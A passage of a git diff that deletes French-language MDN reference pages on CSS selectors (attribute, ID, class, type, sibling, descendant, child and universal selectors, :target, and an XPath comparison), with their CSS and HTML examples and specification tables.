?Point d'interrogation0 ou 1 fois (autrement dit, la valeur est optionnelle)bold smaller?
{A,B}AccoladesAu moins A fois et au plus B fois.bold smaller{1,3}
#Dièse1 ou plus de fois mais chaque occurrence doit être séparée d'une autre par une virgule.bold smaller#
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatComment
{{SpecName("CSS3 Values", "#value-defs", "Value definition syntax")}}{{Spec2('CSS3 Values')}}Ajout du multiplicateur avec le dièse.
{{SpecName("CSS2.1", "about.html#value-defs", "Value definition syntax")}}{{Spec2('CSS2.1')}}Ajout de la double esperluette.
{{SpecName("CSS1", "#notation-for-property-values", "Value definition syntax")}}{{Spec2('CSS1')}}Définition initiale.
diff --git "a/files/fr/web/css/s\303\251lecteurs_css/comparison_with_xpath/index.html" "b/files/fr/web/css/s\303\251lecteurs_css/comparison_with_xpath/index.html" deleted file mode 100644 index 2a35cb5611..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_css/comparison_with_xpath/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Comparison entre les sélecteurs CSS et XPath -slug: Web/CSS/Sélecteurs_CSS/Comparison_with_XPath -tags: - - CSS - - Draft - - NeedsContent - - Reference - - XPath -translation_of: Web/XPath/Comparison_with_CSS_selectors ---- -
{{CSSRef("Selectors")}}{{QuickLinksWithSubpages("/fr/docs/Web/XPath")}}{{Draft}}
- -

Dans cet article, nous listerons les différences entre les sélecteurs CSS et les fonctionnalités XPath afin que les développeurs web puissent choisir l'outil le plus pertinent.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Fonctionnalité XPathÉquivalent CSS
Axe ancestor, parent ou preceding-sibling{{CSSxRef(":has",":has()")}} selector {{experimental_inline}}
Axe attributeSélecteurs d'attribut
Axe childSélecteurs d'enfant
Axe descendantSélecteur de descendant
Axe following-siblingSélecteur de voisin général ou sélecteur de voisin direct
Axe selfSélecteur {{CSSxRef(":scope")}} ou {{CSSxRef(":host")}}
diff --git "a/files/fr/web/css/s\303\251lecteurs_css/index.html" "b/files/fr/web/css/s\303\251lecteurs_css/index.html" deleted file mode 100644 index a9d6f91d81..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_css/index.html" +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Sélecteurs CSS -slug: Web/CSS/Sélecteurs_CSS -tags: - - Aperçu - - CSS - - CSS Selectors - - Reference - - Sélecteur -translation_of: Web/CSS/CSS_Selectors ---- -
{{CSSRef}}
- -

Les sélecteurs définissent les éléments sur lesquelles s'applique un ensemble de règles CSS.

- -

Les sélecteurs simples

- -
-
Les sélecteurs de type
-
Ce sélecteur simple permet de cibler les éléments qui correspondent au nom indiqué.
- Syntaxe : nomelement
- Exemple : input permettra de cibler n'importe quel élément {{HTMLElement('input')}}.
-
Les sélecteurs de classe
-
Ce sélecteur simple permet de cibler les éléments en fonction de la valeur de leur attribut class.
- Syntaxe : .nomclasse
- Exemple : .index permettra de cibler n'importe quel élément qui possède la classe index (vraisemblablement définie avec un attribut class="index").
-
Les sélecteurs d'identifiant
-
Ce sélecteur simple permet de cibler un élément d'un document en fonction de la valeur de son attribut id. Dans un document, il ne doit y avoir qu'un seul élément pour un identifiant donné.
- Syntaxe : #valeurid
- Exemple : #toc permettra de cibler l'élément qui possède l'identifiant toc (vraisemblablement défini avec un attribut id="toc").
-
Le sélecteur universel
-
Ce sélecteur permet de cibler tous les nœuds d'un document. Il existe également une variante pour ne cibler qu'un seul espace de noms et une variante pour cibler tous les espaces de noms.
- Syntaxe : * ns|* *|*
- Exemple : * permettra de cibler tous les éléments du document.
-
Les sélecteurs d'attribut
-
Ce sélecteur simple permet de cibler des éléments d'un document en fonction de la valeur d'un de leurs attributs.
- Syntaxe : [attr] [attr=valeur] [attr~=valeur] [attr|=valeur] [attr^=valeur] [attr$=valeur] [attr*=valeur]
- Exemple : [autoplay] permettra de cibler tous les éléments qui possède l'attribut autoplay défini (quelle que soit sa valeur).
-
- -

Les combinateurs

- -
-
Les sélecteurs de voisin direct
-
Le combinateur '+' permet de sélectionner les nœuds qui suivent immédiatement un élément donné.
- Syntaxe : A + B
- Exemple : div + p permettra de cibler n'importe quel élément {{HTMLElement('p')}} qui suit immédiatement un élément {{HTMLElement('div')}}.
-
Les sélecteurs de voisins
-
Le combinateur '~' permet de sélectionner les nœuds qui suivent un élément et qui ont le même parent.
- Syntaxe : A ~ B
- Exemple : p ~ span permettra de cibler les éléments {{HTMLElement('span')}} qui suivent (immédiatement ou non) un élément {{HTMLElement('p')}} et qui ont le même élément parent.
-
Les sélecteurs d'éléments fils
-
Le combinateur '>' permet de sélectionner les nœuds qui sont des fils directs d'un élément donné.
- Syntaxe : A > B
- Exemple : ul > li permettra de cibler tous les éléments {{HTMLElement('li')}} qui sont directement situés sous un élément {{HTMLElement('ul')}}.
-
Les sélecteurs d'éléments descendants
-
Le combinateur   (espace) permet de sélectionner les nœuds qui sont des descendants (pas nécessairement des fils directs) d'un élément donné.
- Syntaxe : A B
- Exemple : div span permettra de cibler n'importe quel élément {{HTMLElement('span')}} situé à l'intérieur d'un élément {{HTMLElement('div')}}.
-
Le combinateur de colonne{{experimental_inline}}
-
Le combinateur || sélectionne les nœuds qui appartiennent à une colonne. Syntaxe : A || B
- Exemple : col || td permettra de cibler n'importe quel élément {{HTMLElement('td')}} sous la portée d'une colonne {{HTMLElement('col')}}.
-
- -

Les pseudo-classes

- -
-
Les pseudo-classes permettent de cibler des éléments selon une information d'état qui n'est pas stockée dans l'arbre du document.
-
Exemple: a:visited permettra de cibler l'ensemble des éléments {{HTMLElement('a')}} (des liens) ayant déjà été visités par l'utilisateur.
-
- -

Les pseudo-éléments

- -
-
Les pseudo-éléments représentent des entités du document qui ne sont pas décrites en HTML.
-
Exemple : p::first-line permettra de cibler la première ligne de chacun des éléments {{HTMLElement('p')}} (les paragraphes) du document.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors')}}{{Spec2('CSS4 Selectors')}}Ajout du combinateur de colonne (||), des sélecteurs structurels pour la  grille, des combinateurs logiques, des pseudo-classes pour la localisation, la temporisation, les états de ressources, les éléments linguistiques et les éléments relatifs à l'interface utilisateur. Ajout du modificateur de sensibilité à la casse pour les caractèes ASCII et du ciblage des attributs insensible à la casse.
{{SpecName('CSS3 Selectors')}}{{Spec2('CSS3 Selectors')}}Ajout du combinateur de voisin ~. Les pseudo-éléments utilisent désormais un préfixe avec deux fois deux-points (::)
{{SpecName('CSS2.1', 'selector.html')}}{{Spec2('CSS2.1')}} -

Ajout des combinateurs pour les fils (>) et voisins adjacents (+).
- Ajout du sélecteur universel et du sélecteur d'attribut.

-
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Définition initiale.
diff --git "a/files/fr/web/css/s\303\251lecteurs_css/utiliser_la_pseudo-classe__colon_target_dans_un_selecteur/index.html" "b/files/fr/web/css/s\303\251lecteurs_css/utiliser_la_pseudo-classe__colon_target_dans_un_selecteur/index.html" deleted file mode 100644 index 8aeae8c255..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_css/utiliser_la_pseudo-classe__colon_target_dans_un_selecteur/index.html" +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: 'Utiliser la pseudo-classe :target dans un sélecteur' -slug: 'Web/CSS/Sélecteurs_CSS/Utiliser_la_pseudo-classe_:target_dans_un_selecteur' -tags: - - CSS - - Guide - - Intermédiaire -translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' ---- -
{{CSSRef}}
- -

Afin d'aider à identifier la destination d'un lien qui mène vers une portion spécifique du document, les sélecteurs CSS3 ont introduit la pseudo-classe {{cssxref(":target")}}.

- -

Choisir une cible

- -

La pseudo-classe {{cssxref(":target")}} permet de mettre en forme l'élément ciblé par le fragment d'identifiant de l'URL du document. Ainsi l'URL https://developer.mozilla.org/fr/docs/Utiliser_la_pseudo-classe_:target_dans_un_selecteur#Exemple contient le fragment d'identifiant #Exemple. En HTML, les identifiants correspondent aux valeurs des attributs id et name, puisque les deux partagent le même espace de nommage. Ainsi l'URL dans l'exemple devrait pointer vers le titre « Exemple » de ce document.

- -

Imaginons qu'on souhaite mettre en forme n'importe quel élément {{HTMLElement("h2")}} qui serait la cible de l'URL mais qu'on ne souhaite pas qu'un autre type d'élément ait un style particulier lorsqu'il est ciblé. On peut obtenir cet effet assez simplement :

- -
h2:target {
-  font-weight: bold;
-}
- -

On peut également créer des styles particuliers pour une portion spécifique du document. On peut ainsi utiliser la même valeur identifiant la cible que celle présente dans l'URL. Par exemple, pour ajouter une bordure au fragment #Exemple, on pourra écrire :

- -
#Exemple:target {
-  border: 1px solid black;
-}
- -

Cibler tous les éléments

- -

Si le but est de créer un style commun qui s'appliquera à tous les éléments lorsque ceux-ci seront ciblés, un sélecteur universel utilisant seulement la pseudo-classe s'avèrera très pratique :

- -
:target {
-  color: red;
-}
-
- -

Exemple

- -

Dans l'exemple suivant, cinq liens pointent chacun vers une portion du même document. Actionner le lien « Premier », par exemple, fera en sorte que le <h1 id="un"> devienne l'élément cible. Notons que le document pourrait défiler vers une nouvelle position, jusqu'à la cible du lien.

- -
-
<h4 id="un">...</h4> <p id="deux">...</p>
-<div id="trois">...</div> <a id="quatre">...</a> <em id="cinq">...</em>
-
-<a href="#un">Premier</a>
-<a href="#deux">Deuxième</a>
-<a href="#trois">Troisième</a>
-<a href="#quatre">Quatrième</a>
-<a href="#cinq">Cinquième</a>
-
- -

Conclusion

- -

Les utilisateurs peuvent être gênés lorsqu'un fragment d'identifiant mène à une portion du document, ne sachant pas quelle partie du document ils sont supposés lire. En mettant en forme la cible d'une URI, on peut réduire (voire supprimer) cette confusion.

- -

Voir aussi

- - diff --git "a/files/fr/web/css/s\303\251lecteurs_d_attribut/index.html" "b/files/fr/web/css/s\303\251lecteurs_d_attribut/index.html" deleted file mode 100644 index 6c9e719345..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_d_attribut/index.html" +++ /dev/null @@ -1,243 +0,0 @@ ---- -title: Sélecteurs d'attribut -slug: Web/CSS/Sélecteurs_d_attribut -tags: - - CSS - - Débutant - - Reference - - Sélecteur -translation_of: Web/CSS/Attribute_selectors ---- -
{{CSSRef}}
- -

Les sélecteurs d'attribut permettent de cibler un élément selon la présence d'un attribut ou selon la valeur donnée d'un attribut.

- -
/* Les éléments <a> avec un attribut title */
-a[title] {
-  color: purple;
-}
-
-/* Les éléments <a> avec un href qui correspond */
-/* à "https://example.org" */
-a[href="https://example.org"] {
-  color: green;
-}
-
-/* Les éléments <a> dont href contient "example" */
-a[href*="example"] {
-  font-size: 2em;
-}
-
-/* Les éléments <a> dont href finit par ".org" */
-a[href$=".org"] {
-  font-style: italic;
-}
-
-/* Les éléments <a> dont l'attribut class contient le mot logo */
-/* comportement identique à a.logo */
-a[class~="logo"] {
-  padding: 2px;
-}
- -

Syntaxe

- -
-
[attr]
-
Permet de cibler un élément qui possède un attribut attr.
-
[attr=valeur]
-
Permet de cibler un élément qui possède un attribut attr dont la valeur est exactement valeur.
-
[attr~=valeur]
-
Permet de cibler un élément qui possède un attribut attr dont la valeur est valeur. Cette forme permet de fournir une liste de valeurs, séparées par des blancs, à tester. Si au moins une de ces valeurs est égale à celle de l'attribut, l'élément sera ciblé.
-
[attr|=valeur]
-
Permet de cibler un élément qui possède un attribut attr dont la valeur est exactement valeur ou dont la valeur commence par valeur suivi immédiatement d'un tiret (U+002D). Cela peut notamment être utilisé pour effectuer des correspondances avec des codes de langues.
-
[attr^=valeur]
-
Permet de cibler un élément qui possède un attribut attr dont la valeur commence par valeur.
-
[attr$=valeur]
-
Permet de cibler un élément qui possède un attribut attr dont la valeur se termine par valeur.
-
[attr*=valeur]
-
Permet de cibler un élément qui possède un attribut attr et dont la valeur contient au moins une occurrence de valeur dans la chaîne de caractères.
-
[attr operateur valeur i]
-
On peut ajouter un i (ou I) avant le crochet de fin. Dans ce cas, la casse ne sera pas prise en compte (pour les caractères contenus sur l'intervalle ASCII).
-
[attr operateur valeur s] {{experimental_inline}}
-
Ajouter un s (ou S) avant le crochet fermant permettra d'effectuer une comparaison de valeur sensible à la casse (pour les caractères ASCII).
-
- -

Syntaxe formelle

- -
{{CSSSyntax}}
- -

Exemples

- -

Liens

- -

CSS

- -
a {
-  color: blue;
-}
-
-/* Liens internes commençant avec "#" */
-a[href^="#"] {
-  background-color: gold;
-}
-
-/* Liens avec "example" n'importe où dans l'URL */
-a[href*="example"] {
-  background-color: silver;
-}
-
-/* Liens avec "insensitive" n'importe où dans l'URL,
-   quelle que soit la casse */
-a[href*="insensitive" i] {
-  color: cyan;
-}
-
-/* Liens avec "cAsE" n'importe où dans l'URL,
-   et avec cette casse donnée.*/
-a[href*="cAsE" s] {
-  color: pink;
-}
-
-/* Liens qui finissent ".org" */
-a[href$=".org"] {
-  color: red;
-}
- -

HTML

- -
<ul>
-  <li><a href="#internal">Lien interne<a></li>
-  <li><a href="http://example.com">Lien d'exemple</a></li>
-  <li><a href="#InSensitive">Lien interne insensible à la casse</a></li>
-  <li><a href="http://example.org">Lien vers example.org</a></li>
-</ul>
- -

Résultat

- -

{{EmbedLiveSample("Liens")}}

- -

Langues

- -

CSS

- -
/* Tous les éléments divs avec un attribut `lang` seront en gras. */
-div[lang] {
-  font-weight: bold;
-}
-
-/* Tous les divs en anglais américains seront bleus. */
-div[lang~="en-us"] {
-  color: blue;
-}
-
-/* Tous les divs en portugais seront verts. */
-div[lang="pt"] {
-  color: green;
-}
-
-/* Tous les divs en chinois seront rouges (chinois
-   simplifié (zh-CN) ou traditionnel (zh-TW). */
-div[lang|="zh"] {
-  color: red;
-}
-
-/* Tous les divs en chinois traditionnels pour l'attribut
-   `data-lang` seront violet. */
-/* Note : Les doubles quotes ne sont pas strictement nécessaires
-   ici */
-div[data-lang="zh-TW"] {
-  color: purple;
-}
-
- -

HTML

- -
<div lang="en-us en-gb en-au en-nz">Hello World!</div>
-<div lang="pt">Olá Mundo!</div>
-<div lang="zh-CN">世界您好！</div>
-<div lang="zh-TW">世界您好！</div>
-<div data-lang="zh-TW">世界您好！</div>
-
- -

Résultat

- -

{{EmbedLiveSample("Langues")}}

- -

Listes ordonnées

- -

{{SeeCompatTable}}

- -

La spécification HTML indique que l'attribut {{htmlattrxref("type", "input")}} doit être testé sans sensibilité à la casse car il est généralement utilisé avec l'élément {{HTMLElement("input")}}. Si on souhaite utiliser un sélecteur d'attribut avec {{htmlattrxref("type", "ol")}} d'une liste ordonnée ({{HTMLElement("ol")}}), cela ne fonctionnera pas sans le modificateur de sensibilité à la casse.

- -

CSS

- -
/* Les types de liste devront être utilisé avec le
-   marqueur pour la casse vu les spécifications HTML */
-ol[type="a"] {
-  list-style-type: lower-alpha;
-  background: red;
-}
-
-ol[type="a" s] {
-  list-style-type: lower-alpha;
-  background: lime;
-}
-
-ol[type="A" s] {
-  list-style-type: upper-alpha;
-  background: lime;
-}
- -

HTML

- -
<ol type="A">
-  <li>Liste d'exemple</li>
-</ol>
- -

Résultat

- -

{{EmbedLiveSample("Listes_ordonnées")}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS4 Selectors')}}Ajout du modification pour la sélection des valeurs d'attribut ASCII insensible à la casse.
{{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS3 Selectors')}} 
{{SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors')}}{{Spec2('CSS2.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.attribute")}}

- -

Voir aussi

- -
    -
  • {{CSSxRef("attr")}}
    • -
  • Sélectionner un élément : {{domxref("Document.querySelector()")}}, {{domxref("DocumentFragment.querySelector()")}} ou {{domxref("Element.querySelector()")}}
    • -
  • Sélectionner l'ensemble des éléments correspondants : {{domxref("Document.querySelectorAll()")}}, {{domxref("DocumentFragment.querySelectorAll()")}} ou {{domxref("Element.querySelectorAll()")}}
    • -
  • Ces méthodes sont implémentées sur le mixin {{domxref("ParentNode")}}, voir {{domxref("ParentNode.querySelector()")}} et {{domxref("ParentNode.querySelectorAll()")}}
    • -
diff --git "a/files/fr/web/css/s\303\251lecteurs_d_id/index.html" "b/files/fr/web/css/s\303\251lecteurs_d_id/index.html" deleted file mode 100644 index aa9a2141bc..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_d_id/index.html" +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Sélecteurs d'ID -slug: Web/CSS/Sélecteurs_d_ID -tags: - - CSS - - Débutant - - Reference - - Sélecteur -translation_of: Web/CSS/ID_selectors ---- -
{{CSSRef("Selectors")}}
- -

Un sélecteur d'identifiant (ID selector) permet, pour un document HTML, de cibler un élément grâce à la valeur de son attribut {{htmlattrxref("ID")}}. Il faut que la valeur soit exactement la même que celle du sélecteur pour que l'élément soit effectivement ciblé.

- -
/* L'élément avec l'identifiant id="demo" */
-#demo {
-  border: red 2px solid;
-}
- -

Syntaxe

- -
#valeur_identifiant { déclarations }
- -
-

Note : Cela est équivalent à la notation suivante qui utilise un {{cssxref("Sélecteurs_d_attribut", "sélecteur d'attribut")}}:

- -
[id=valeur_identifiant] { déclarations }
-
- -

Exemples

- -

CSS

- -
#identifie {
-  background-color: blue;
-}
-
- -

HTML

- -
<span id="identifie">Voici un span avec du texte.</span>
-<span>Et un autre (mais sans identifiant).</span>
-
- -

Résultat

- -

{{EmbedLiveSample("Exemples", 200, 50)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}}{{Spec2("CSS4 Selectors")}} 
{{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}}{{Spec2("CSS3 Selectors")}} 
{{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1", "#id-as-selector", "ID selectors")}}{{Spec2("CSS1")}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.id")}}

diff --git "a/files/fr/web/css/s\303\251lecteurs_de_classe/index.html" "b/files/fr/web/css/s\303\251lecteurs_de_classe/index.html" deleted file mode 100644 index 115d791092..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_de_classe/index.html" +++ /dev/null @@ -1,101 +0,0 @@ ---- -title: Sélecteurs de classe -slug: Web/CSS/Sélecteurs_de_classe -tags: - - CSS - - Reference - - Sélecteur -translation_of: Web/CSS/Class_selectors ---- -
{{CSSRef}}
- -

Les sélecteurs de classe CSS permettent de cibler des éléments d'un document en fonction du contenu de l'attribut class de chaque élément.

- -
/* Cible tous les éléments ayant la classe "spacious" */
-.spacious {
-  margin: 2em;
-}
-
-/* Cible tous les éléments <li> ayant la classe "spacious" */
-li.spacious {
-  margin: 2em;
-}
-
-/* Cible tous les éléments <li> ayant une classe qui */
-/* contient à la fois "spacious" et "elegant"        */
-li.spacious.elegant {
-  margin: 2em;
-}
- -

L'attribut {{htmlattrxref("class")}} est une liste de termes séparés par des espaces, il est nécessaire qu'un de ces termes corresponde exactement au nom utilisé dans le sélecteur pour que l'élément soit ciblé.

- -

Syntaxe

- -
.nomdeclasse { déclarations CSS }
- -

Cela est exactement équivalent à l'utilisation du sélecteur d'attribut de la façon suivante :

- -
[class~=nomdeclasse] { déclarations CSS }
- -

Exemples

- -

CSS

- -
.classy {
-  background-color: skyblue;
-}
-.toto {
- font-weight: bold;
-}
-
- -

HTML

- -
<div class="classy">Voici un div avec du texte.</div>
-<div class="toto classy truc">Les éléments peuvent avoir plusieurs classes, le sélecteur fonctionnera tout de même !</div>
-<div>En voilà un autre.</div>
-
- -

Résultat

- -

{{EmbedLiveSample('Exemples')}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}{{Spec2('CSS4 Selectors')}}Aucune modification.
{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}{{Spec2('CSS3 Selectors')}} 
{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}{{Spec2('CSS1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.class")}}

diff --git "a/files/fr/web/css/s\303\251lecteurs_de_type/index.html" "b/files/fr/web/css/s\303\251lecteurs_de_type/index.html" deleted file mode 100644 index adf931d9fe..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_de_type/index.html" +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Sélecteurs de type -slug: Web/CSS/Sélecteurs_de_type -tags: - - CSS - - Reference - - Sélecteur -translation_of: Web/CSS/Type_selectors ---- -
{{CSSRef("Selectors")}}
- -

Les sélecteurs de type CSS ciblent des éléments en fonction du nom de leur nœud. Ainsi, lorsqu'un sélecteur de type est utilisé seul, il ciblera tous les éléments de ce type (autrement dit tous les nœuds avec ce nom) contenus dans le document.

- -
/* Cibler tous les éléments <a>. */
-a {
-  color: red;
-}
- -

Syntaxe

- -
élément { style propriétés }
-
- -

Exemples

- -

CSS

- -
span {
-  background-color: skyblue;
-}
-
- -

HTML

- -
<span>Voici un élément <code>span</code> avec du texte.</span>
-<p>Et là un élément <code>p</code>.</p>
-<span>Enfin, un autre élément <code>span</code>.</span>
-
- -

Résultat

- -

{{EmbedLiveSample('Exemples', 200, 150)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector')}}{{Spec2('CSS4 Selectors')}}Aucune modification.
{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}{{Spec2('CSS3 Selectors')}}Aucune modification.
{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}{{Spec2('CSS1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.type")}}

diff --git "a/files/fr/web/css/s\303\251lecteurs_de_voisins_g\303\251n\303\251raux/index.html" "b/files/fr/web/css/s\303\251lecteurs_de_voisins_g\303\251n\303\251raux/index.html" deleted file mode 100644 index ea97bdbf67..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_de_voisins_g\303\251n\303\251raux/index.html" +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Sélecteurs de voisins généraux -slug: Web/CSS/Sélecteurs_de_voisins_généraux -tags: - - CSS - - Débutant - - Reference - - Sélecteur -translation_of: Web/CSS/General_sibling_combinator ---- -
{{CSSRef("Selectors")}}
- -

Le combinateur ~ permet de séparer deux sélecteurs et de cibler un élément si celui-ci correspond au second sélecteur et est précédé (mais pas forcément voisin immédiat) d'un autre élément correspondant au premier sélecteur qui partage le même parent. Les deux éléments sont des fils d'un même parent {{domxref("Element")}}, voisins immédiats ou pas.

- -
/* Parmi tous les éléments <img>, cibler tous
-   éléments <p> qui les suivent. */
-img ~ p {
-  color: red;
-}
- -

Syntaxe

- -
premier_element ~ second_element { propriétés de style }
-
- -

Exemples

- -

CSS

- -
p ~ span {
-  color: red;
-}
- -

HTML

- -
<span>Ici, ce n'est pas rouge.</span>
-<p>Voici un paragraphe.</p>
-<code>Un peu de code.</code>
-<span>Et un autre span.</span>
-<code>Encore du code</code>
-<span>Ici aussi, c'est rouge</span>
- -

Résultat

- -

{{EmbedLiveSample('Exemples', 280, 120)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#general-sibling-combinators', 'following-sibling combinator')}}{{Spec2('CSS4 Selectors')}}Ce combinateur est renommé en « subsequent-sibling combinator ».
{{SpecName('CSS3 Selectors', '#general-sibling-combinators', 'general sibling combinator')}}{{Spec2('CSS3 Selectors')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.general_sibling")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/css/s\303\251lecteurs_descendant/index.html" "b/files/fr/web/css/s\303\251lecteurs_descendant/index.html" deleted file mode 100644 index 5690dd95e7..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_descendant/index.html" +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Sélecteurs descendant -slug: Web/CSS/Sélecteurs_descendant -tags: - - CSS - - Débutant - - Reference - - Sélecteur -translation_of: Web/CSS/Descendant_combinator ---- -
{{CSSRef("Selectors")}}
- -

Le combinateur de descendance, représenté par un blanc (ou plusieurs blancs à la suite) permet de combiner deux sélecteurs  (sous la forme sélecteur₁ sélecteur₂) afin de cibler les éléments qui correspondent au second sélecteur uniquement si ceux-ci ont un élément ancêtre qui correspond au premier sélecteur. Les sélecteurs qui utilisent ce combinateur sont souvent appelés des sélecteurs de descendants.

- -
/* Les éléments <li> qui sont des descendants */
-/* d'un <ul class="mon-truc"> */
-ul.mon-truc li {
-  margin: 2em;
-}
- -

Techniquement, le combinateur de descendance est représenté par un ou plusieurs blancs (les caractères qui sont des blancs sont : l'espace, le retour chariot, le saut de ligne, la tabulation verticale, la tabulation horizontale) entre deux sélecteurs lorsqu'il n'y a aucun autre combinateur. Les blancs utilisés pour le combinateur peuvent éventuellement contenir des commentaires CSS.

- -

Syntaxe

- -
selecteur1 selecteur2 { /* déclarations CSS */ }
-
- -

Exemples

- -

CSS

- -
li {
-  list-style-type: disc;
-}
-
-li li {
-  list-style-type: circle;
-}
-
- -

HTML

- -
<ul>
-  <li>
-    <div>Élément 1</div>
-    <ul>
-      <li>Sous-élément A</li>
-      <li>Sous-élément B</li>
-    </ul>
-  </li>
-  <li>
-    <div>Élément 2</div>
-    <ul>
-      <li>Sous-élément A</li>
-      <li>Sous-élément B</li>
-    </ul>
-  </li>
-</ul>
-
- -

Résultat

- -

{{EmbedLiveSample('Exemples')}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS4 Selectors", "#descendant-combinators", "descendant combinator")}}{{Spec2("CSS4 Selectors")}} 
{{SpecName('CSS3 Selectors', '#descendant-combinators', 'descendant combinator')}}{{Spec2('CSS3 Selectors')}} 
{{SpecName('CSS2.1', 'selector.html#descendant-selectors', 'descendant selectors')}}{{Spec2('CSS2.1')}} 
{{SpecName('CSS1', '#contextual-selectors', 'contextual selectors')}}{{Spec2('CSS1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.descendant")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/css/s\303\251lecteurs_enfant/index.html" "b/files/fr/web/css/s\303\251lecteurs_enfant/index.html" deleted file mode 100644 index bc24234ef2..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_enfant/index.html" +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Sélecteurs enfant -slug: Web/CSS/Sélecteurs_enfant -tags: - - CSS - - Débutant - - Reference - - Sélecteur -translation_of: Web/CSS/Child_combinator ---- -
{{CSSRef("Selectors")}}
- -

Le combinateur > sépare deux sélecteurs et cible seulement les éléments correspondant au second sélecteur qui sont des enfants directs des éléments ciblés par le premier sélecteur.

- -
/* Les éléments <li> qui sont des enfant d'un */
-/* <ul class="mon-truc"> */
-ul.mon-truc>li {
-  margin: 2em;
-}
- -

En comparaison, lorsque deux sélecteurs sont combinés à l'aide du sélecteur descendant, l'expression formée par la combinaison des deux sélecteurs cible les éléments correspondant au second sélecteur qui ont un parent de n'importe quel niveau qui correspond au premier sélecteur, quelque soit le nombre de « sauts » dans le DOM.

- -

Syntaxe

- -
selecteur1 > selecteur2 { déclarations CSS }
-
- -

Exemples

- -

CSS

- -
span {
-  background-color: white;
-}
-
-div > span {
-  background-color: blue;
-}
-
- -

HTML

- -
<div>
-  <span>Premier span du div.
-    <span>Deuxième span, dans un span dans un div.</span>
-  </span>
-</div>
-<span>Troisième span, en dehors de tout div.</span>
-
- -

Résultat

- -

{{EmbedLiveSample("Exemples", "100%", 100)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#child-combinators', 'child combinator')}}{{Spec2('CSS4 Selectors')}} 
{{SpecName('CSS3 Selectors', '#child-combinators', 'child combinators')}}{{Spec2('CSS3 Selectors')}}Aucune modification.
{{SpecName('CSS2.1', 'selector.html#child-selectors', 'child selectors')}}{{Spec2('CSS2.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.child")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/css/s\303\251lecteurs_universels/index.html" "b/files/fr/web/css/s\303\251lecteurs_universels/index.html" deleted file mode 100644 index 470d27160c..0000000000 --- "a/files/fr/web/css/s\303\251lecteurs_universels/index.html" +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Sélecteurs universels -slug: Web/CSS/Sélecteurs_universels -tags: - - CSS - - Reference - - Sélecteur -translation_of: Web/CSS/Universal_selectors ---- -
{{CSSRef("Selectors")}}
- -

L'astérisque (*) est le sélecteur universel en CSS. Il correspond à un élément de n'importe quel type.

- -
* {
-  color: green;
-}
- -

En CSS 3, l'astérisque peut être combinée avec les espaces de nom :

- -
    -
  • ns|* - correspond à tous les éléments de l'espace de noms ns
    • -
